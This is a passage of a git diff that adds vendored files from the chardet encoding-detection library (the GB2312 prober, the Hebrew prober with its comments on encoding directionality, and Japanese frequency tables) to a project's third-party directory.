883,3197,2261,3710,1765,1553,2658, +1178,2639,2351, 93,1193, 942,2538,2141,4402, 235,1821, 870,1591,2192,1709,1871, +3341,1618,4126,2595,2334, 603, 651, 69, 701, 268,2662,3411,2555,1380,1606, 503, + 448, 254,2371,2646, 574,1187,2309,1770, 322,2235,1292,1801, 305, 566,1133, 229, +2067,2057, 706, 167, 483,2002,2672,3295,1820,3561,3067, 316, 378,2746,3452,1112, + 136,1981, 507,1651,2917,1117, 285,4591, 182,2580,3522,1304, 335,3303,1835,2504, +1795,1792,2248, 674,1018,2106,2449,1857,2292,2845, 976,3047,1781,2600,2727,1389, +1281, 52,3152, 153, 265,3950, 672,3485,3951,4463, 430,1183, 365, 278,2169, 27, +1407,1336,2304, 209,1340,1730,2202,1852,2403,2883, 979,1737,1062, 631,2829,2542, +3876,2592, 825,2086,2226,3048,3625, 352,1417,3724, 542, 991, 431,1351,3938,1861, +2294, 826,1361,2927,3142,3503,1738, 463,2462,2723, 582,1916,1595,2808, 400,3845, +3891,2868,3621,2254, 58,2492,1123, 910,2160,2614,1372,1603,1196,1072,3385,1700, +3267,1980, 696, 480,2430, 920, 799,1570,2920,1951,2041,4047,2540,1321,4223,2469, +3562,2228,1271,2602, 401,2833,3351,2575,5157, 907,2312,1256, 410, 263,3507,1582, + 996, 678,1849,2316,1480, 908,3545,2237, 703,2322, 667,1826,2849,1531,2604,2999, +2407,3146,2151,2630,1786,3711, 469,3542, 497,3899,2409, 858, 837,4446,3393,1274, + 786, 620,1845,2001,3311, 484, 308,3367,1204,1815,3691,2332,1532,2557,1842,2020, +2724,1927,2333,4440, 567, 22,1673,2728,4475,1987,1858,1144,1597, 101,1832,3601, + 12, 974,3783,4391, 951,1412, 1,3720, 453,4608,4041, 528,1041,1027,3230,2628, +1129, 875,1051,3291,1203,2262,1069,2860,2799,2149,2615,3278, 144,1758,3040, 31, + 475,1680, 366,2685,3184, 311,1642,4008,2466,5036,1593,1493,2809, 216,1420,1668, + 233, 304,2128,3284, 232,1429,1768,1040,2008,3407,2740,2967,2543, 242,2133, 778, +1565,2022,2620, 505,2189,2756,1098,2273, 372,1614, 708, 553,2846,2094,2278, 169, +3626,2835,4161, 228,2674,3165, 809,1454,1309, 466,1705,1095, 900,3423, 880,2667, +3751,5258,2317,3109,2571,4317,2766,1503,1342, 866,4447,1118, 63,2076, 314,1881, +1348,1061, 172, 978,3515,1747, 532, 511,3970, 6, 601, 905,2699,3300,1751, 276, +1467,3725,2668, 65,4239,2544,2779,2556,1604, 578,2451,1802, 992,2331,2624,1320, +3446, 713,1513,1013, 103,2786,2447,1661, 886,1702, 916, 654,3574,2031,1556, 751, +2178,2821,2179,1498,1538,2176, 271, 914,2251,2080,1325, 638,1953,2937,3877,2432, +2754, 95,3265,1716, 260,1227,4083, 775, 106,1357,3254, 426,1607, 555,2480, 772, +1985, 244,2546, 474, 495,1046,2611,1851,2061, 71,2089,1675,2590, 742,3758,2843, +3222,1433, 267,2180,2576,2826,2233,2092,3913,2435, 956,1745,3075, 856,2113,1116, + 451, 3,1988,2896,1398, 993,2463,1878,2049,1341,2718,2721,2870,2108, 712,2904, +4363,2753,2324, 277,2872,2349,2649, 384, 987, 435, 691,3000, 922, 164,3939, 652, +1500,1184,4153,2482,3373,2165,4848,2335,3775,3508,3154,2806,2830,1554,2102,1664, +2530,1434,2408, 893,1547,2623,3447,2832,2242,2532,3169,2856,3223,2078, 49,3770, +3469, 462, 318, 656,2259,3250,3069, 679,1629,2758, 344,1138,1104,3120,1836,1283, +3115,2154,1437,4448, 934, 759,1999, 794,2862,1038, 533,2560,1722,2342, 855,2626, +1197,1663,4476,3127, 85,4240,2528, 25,1111,1181,3673, 407,3470,4561,2679,2713, + 768,1925,2841,3986,1544,1165, 932, 373,1240,2146,1930,2673, 721,4766, 354,4333, + 391,2963, 187, 61,3364,1442,1102, 330,1940,1767, 341,3809,4118, 393,2496,2062, +2211, 105, 331, 300, 439, 913,1332, 626, 379,3304,1557, 328, 689,3952, 309,1555, + 931, 317,2517,3027, 325, 569, 686,2107,3084, 60,1042,1333,2794, 264,3177,4014, +1628, 258,3712, 7,4464,1176,1043,1778, 683, 114,1975, 78,1492, 383,1886, 510, + 386, 645,5291,2891,2069,3305,4138,3867,2939,2603,2493,1935,1066,1848,3588,1015, +1282,1289,4609, 697,1453,3044,2666,3611,1856,2412, 54, 719,1330, 568,3778,2459, +1748, 788, 492, 551,1191,1000, 488,3394,3763, 282,1799, 348,2016,1523,3155,2390, +1049, 382,2019,1788,1170, 729,2968,3523, 897,3926,2785,2938,3292, 350,2319,3238, +1718,1717,2655,3453,3143,4465, 161,2889,2980,2009,1421, 56,1908,1640,2387,2232, +1917,1874,2477,4921, 148, 83,3438, 592,4245,2882,1822,1055, 741, 115,1496,1624, + 381,1638,4592,1020, 516,3214, 458, 947,4575,1432, 211,1514,2926,1865,2142, 189, + 852,1221,1400,1486, 882,2299,4036, 351, 28,1122, 700,6479,6480,6481,6482,6483, #last 512 +) + diff --git a/src/thirdparty/chardet/gb2312prober.py b/src/thirdparty/chardet/gb2312prober.py new file mode 100644 index 0000000000..8446d2dd95 --- /dev/null +++ b/src/thirdparty/chardet/gb2312prober.py @@ -0,0 +1,46 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import GB2312DistributionAnalysis +from .mbcssm import GB2312_SM_MODEL + +class GB2312Prober(MultiByteCharSetProber): + def __init__(self): + super(GB2312Prober, self).__init__() + self.coding_sm = CodingStateMachine(GB2312_SM_MODEL) + self.distribution_analyzer = GB2312DistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "GB2312" + + @property + def language(self): + return "Chinese" diff --git a/src/thirdparty/chardet/hebrewprober.py b/src/thirdparty/chardet/hebrewprober.py new file mode 100644 index 0000000000..b0e1bf4926 --- /dev/null +++ b/src/thirdparty/chardet/hebrewprober.py @@ -0,0 +1,292 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Shy Shalom +# Portions created by the Initial Developer are Copyright (C) 2005 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState + +# This prober doesn't actually recognize a language or a charset. +# It is a helper prober for the use of the Hebrew model probers + +### General ideas of the Hebrew charset recognition ### +# +# Four main charsets exist in Hebrew: +# "ISO-8859-8" - Visual Hebrew +# "windows-1255" - Logical Hebrew +# "ISO-8859-8-I" - Logical Hebrew +# "x-mac-hebrew" - ?? Logical Hebrew ?? +# +# Both "ISO" charsets use a completely identical set of code points, whereas +# "windows-1255" and "x-mac-hebrew" are two different proper supersets of +# these code points. windows-1255 defines additional characters in the range +# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific +# diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. +# x-mac-hebrew defines similar additional code points but with a different +# mapping. +# +# As far as an average Hebrew text with no diacritics is concerned, all four +# charsets are identical with respect to code points. Meaning that for the +# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters +# (including final letters). +# +# The dominant difference between these charsets is their directionality. +# "Visual" directionality means that the text is ordered as if the renderer is +# not aware of a BIDI rendering algorithm. The renderer sees the text and +# draws it from left to right. The text itself when ordered naturally is read +# backwards. A buffer of Visual Hebrew generally looks like so: +# "[last word of first line spelled backwards] [whole line ordered backwards +# and spelled backwards] [first word of first line spelled backwards] +# [end of line] [last word of second line] ... etc' " +# adding punctuation marks, numbers and English text to visual text is +# naturally also "visual" and from left to right. +# +# "Logical" directionality means the text is ordered "naturally" according to +# the order it is read. It is the responsibility of the renderer to display +# the text from right to left. A BIDI algorithm is used to place general +# punctuation marks, numbers and English text in the text. +# +# Texts in x-mac-hebrew are almost impossible to find on the Internet. From +# what little evidence I could find, it seems that its general directionality +# is Logical. +# +# To sum up all of the above, the Hebrew probing mechanism knows about two +# charsets: +# Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are +# backwards while line order is natural. For charset recognition purposes +# the line order is unimportant (In fact, for this implementation, even +# word order is unimportant). +# Logical Hebrew - "windows-1255" - normal, naturally ordered text. +# +# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be +# specifically identified. +# "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew +# that contain special punctuation marks or diacritics is displayed with +# some unconverted characters showing as question marks. This problem might +# be corrected using another model prober for x-mac-hebrew. Due to the fact +# that x-mac-hebrew texts are so rare, writing another model prober isn't +# worth the effort and performance hit. +# +#### The Prober #### +# +# The prober is divided between two SBCharSetProbers and a HebrewProber, +# all of which are managed, created, fed data, inquired and deleted by the +# SBCSGroupProber. The two SBCharSetProbers identify that the text is in +# fact some kind of Hebrew, Logical or Visual. The final decision about which +# one is it is made by the HebrewProber by combining final-letter scores +# with the scores of the two SBCharSetProbers to produce a final answer. +# +# The SBCSGroupProber is responsible for stripping the original text of HTML +# tags, English characters, numbers, low-ASCII punctuation characters, spaces +# and new lines. It reduces any sequence of such characters to a single space. +# The buffer fed to each prober in the SBCS group prober is pure text in +# high-ASCII. +# The two SBCharSetProbers (model probers) share the same language model: +# Win1255Model. +# The first SBCharSetProber uses the model normally as any other +# SBCharSetProber does, to recognize windows-1255, upon which this model was +# built. The second SBCharSetProber is told to make the pair-of-letter +# lookup in the language model backwards. This in practice exactly simulates +# a visual Hebrew model using the windows-1255 logical Hebrew model. +# +# The HebrewProber is not using any language model. All it does is look for +# final-letter evidence suggesting the text is either logical Hebrew or visual +# Hebrew. Disjointed from the model probers, the results of the HebrewProber +# alone are meaningless. HebrewProber always returns 0.00 as confidence +# since it never identifies a charset by itself. Instead, the pointer to the +# HebrewProber is passed to the model probers as a helper "Name Prober". +# When the Group prober receives a positive identification from any prober, +# it asks for the name of the charset identified. If the prober queried is a +# Hebrew model prober, the model prober forwards the call to the +# HebrewProber to make the final decision. In the HebrewProber, the +# decision is made according to the final-letters scores maintained and Both +# model probers scores. The answer is returned in the form of the name of the +# charset identified, either "windows-1255" or "ISO-8859-8". + +class HebrewProber(CharSetProber): + # windows-1255 / ISO-8859-8 code points of interest + FINAL_KAF = 0xea + NORMAL_KAF = 0xeb + FINAL_MEM = 0xed + NORMAL_MEM = 0xee + FINAL_NUN = 0xef + NORMAL_NUN = 0xf0 + FINAL_PE = 0xf3 + NORMAL_PE = 0xf4 + FINAL_TSADI = 0xf5 + NORMAL_TSADI = 0xf6 + + # Minimum Visual vs Logical final letter score difference. + # If the difference is below this, don't rely solely on the final letter score + # distance. + MIN_FINAL_CHAR_DISTANCE = 5 + + # Minimum Visual vs Logical model score difference. + # If the difference is below this, don't rely at all on the model score + # distance. + MIN_MODEL_DISTANCE = 0.01 + + VISUAL_HEBREW_NAME = "ISO-8859-8" + LOGICAL_HEBREW_NAME = "windows-1255" + + def __init__(self): + super(HebrewProber, self).__init__() + self._final_char_logical_score = None + self._final_char_visual_score = None + self._prev = None + self._before_prev = None + self._logical_prober = None + self._visual_prober = None + self.reset() + + def reset(self): + self._final_char_logical_score = 0 + self._final_char_visual_score = 0 + # The two last characters seen in the previous buffer, + # mPrev and mBeforePrev are initialized to space in order to simulate + # a word delimiter at the beginning of the data + self._prev = ' ' + self._before_prev = ' ' + # These probers are owned by the group prober. + + def set_model_probers(self, logicalProber, visualProber): + self._logical_prober = logicalProber + self._visual_prober = visualProber + + def is_final(self, c): + return c in [self.FINAL_KAF, self.FINAL_MEM, self.FINAL_NUN, + self.FINAL_PE, self.FINAL_TSADI] + + def is_non_final(self, c): + # The normal Tsadi is not a good Non-Final letter due to words like + # 'lechotet' (to chat) containing an apostrophe after the tsadi. This + # apostrophe is converted to a space in FilterWithoutEnglishLetters + # causing the Non-Final tsadi to appear at an end of a word even + # though this is not the case in the original text. + # The letters Pe and Kaf rarely display a related behavior of not being + # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' + # for example legally end with a Non-Final Pe or Kaf. However, the + # benefit of these letters as Non-Final letters outweighs the damage + # since these words are quite rare. + return c in [self.NORMAL_KAF, self.NORMAL_MEM, + self.NORMAL_NUN, self.NORMAL_PE] + + def feed(self, byte_str): + # Final letter analysis for logical-visual decision. + # Look for evidence that the received buffer is either logical Hebrew + # or visual Hebrew. + # The following cases are checked: + # 1) A word longer than 1 letter, ending with a final letter. This is + # an indication that the text is laid out "naturally" since the + # final letter really appears at the end. +1 for logical score. + # 2) A word longer than 1 letter, ending with a Non-Final letter. In + # normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, + # should not end with the Non-Final form of that letter. Exceptions + # to this rule are mentioned above in isNonFinal(). This is an + # indication that the text is laid out backwards. +1 for visual + # score + # 3) A word longer than 1 letter, starting with a final letter. Final + # letters should not appear at the beginning of a word. This is an + # indication that the text is laid out backwards. +1 for visual + # score. + # + # The visual score and logical score are accumulated throughout the + # text and are finally checked against each other in GetCharSetName(). + # No checking for final letters in the middle of words is done since + # that case is not an indication for either Logical or Visual text. + # + # We automatically filter out all 7-bit characters (replace them with + # spaces) so the word boundary detection works properly. [MAP] + + if self.state == ProbingState.NOT_ME: + # Both model probers say it's not them. No reason to continue. + return ProbingState.NOT_ME + + byte_str = self.filter_high_byte_only(byte_str) + + for cur in byte_str: + if cur == ' ': + # We stand on a space - a word just ended + if self._before_prev != ' ': + # next-to-last char was not a space so self._prev is not a + # 1 letter word + if self.is_final(self._prev): + # case (1) [-2:not space][-1:final letter][cur:space] + self._final_char_logical_score += 1 + elif self.is_non_final(self._prev): + # case (2) [-2:not space][-1:Non-Final letter][ + # cur:space] + self._final_char_visual_score += 1 + else: + # Not standing on a space + if ((self._before_prev == ' ') and + (self.is_final(self._prev)) and (cur != ' ')): + # case (3) [-2:space][-1:final letter][cur:not space] + self._final_char_visual_score += 1 + self._before_prev = self._prev + self._prev = cur + + # Forever detecting, till the end or until both model probers return + # ProbingState.NOT_ME (handled above) + return ProbingState.DETECTING + + @property + def charset_name(self): + # Make the decision: is it Logical or Visual? + # If the final letter score distance is dominant enough, rely on it. + finalsub = self._final_char_logical_score - self._final_char_visual_score + if finalsub >= self.MIN_FINAL_CHAR_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if finalsub <= -self.MIN_FINAL_CHAR_DISTANCE: + return self.VISUAL_HEBREW_NAME + + # It's not dominant enough, try to rely on the model scores instead. + modelsub = (self._logical_prober.get_confidence() + - self._visual_prober.get_confidence()) + if modelsub > self.MIN_MODEL_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if modelsub < -self.MIN_MODEL_DISTANCE: + return self.VISUAL_HEBREW_NAME + + # Still no good, back to final letter distance, maybe it'll save the + # day. + if finalsub < 0.0: + return self.VISUAL_HEBREW_NAME + + # (finalsub > 0 - Logical) or (don't know what to do) default to + # Logical. + return self.LOGICAL_HEBREW_NAME + + @property + def language(self): + return 'Hebrew' + + @property + def state(self): + # Remain active as long as any of the model probers are active. + if (self._logical_prober.state == ProbingState.NOT_ME) and \ + (self._visual_prober.state == ProbingState.NOT_ME): + return ProbingState.NOT_ME + return ProbingState.DETECTING diff --git a/src/thirdparty/chardet/jisfreq.py b/src/thirdparty/chardet/jisfreq.py new file mode 100644 index 0000000000..83fc082b54 --- /dev/null +++ b/src/thirdparty/chardet/jisfreq.py @@ -0,0 +1,325 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology +# +# Japanese frequency table, applied to both S-JIS and EUC-JP +# They are sorted in order. + +# 128 --> 0.77094 +# 256 --> 0.85710 +# 512 --> 0.92635 +# 1024 --> 0.97130 +# 2048 --> 0.99431 +# +# Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 +# Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 +# +# Typical Distribution Ratio, 25% of IDR + +JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 + +# Char to FreqOrder table , +JIS_TABLE_SIZE = 4368 + +JIS_CHAR_TO_FREQ_ORDER = ( + 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 +3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 +1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 +2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 +2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 +5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 +1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 +5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 +5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 +5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 +5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 +5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 +5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 +1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 +1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 +1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 +2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 +3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 +3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 + 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 + 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 +1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 + 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 +5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 + 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 + 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 + 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 + 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 + 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 +5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 +5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 +5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 +4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 +5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 +5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 +5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 +5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 +5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 +5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 +5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 +5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 +5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 +3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 +5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 +5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 +5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 +5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 +5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 +5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 +5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 +5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 +5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 +5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 +5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 +5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 +5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 +5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 +5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 +5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 +5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 +5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 +5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 +5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 +5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 +5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 +5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 +5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 +5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 +5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 +5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 +5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 +5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 +5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 +5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 +5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 +5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 +5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 +5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 +5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 +6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 +6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 +6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 +6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 +6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 +6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 +6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 +6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 +4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 + 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 + 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 +1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 +1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 + 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 +3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 +3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 + 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 +3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 +3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 + 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 +2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 + 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 +3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 +1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 + 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 +1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 + 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 +2829, 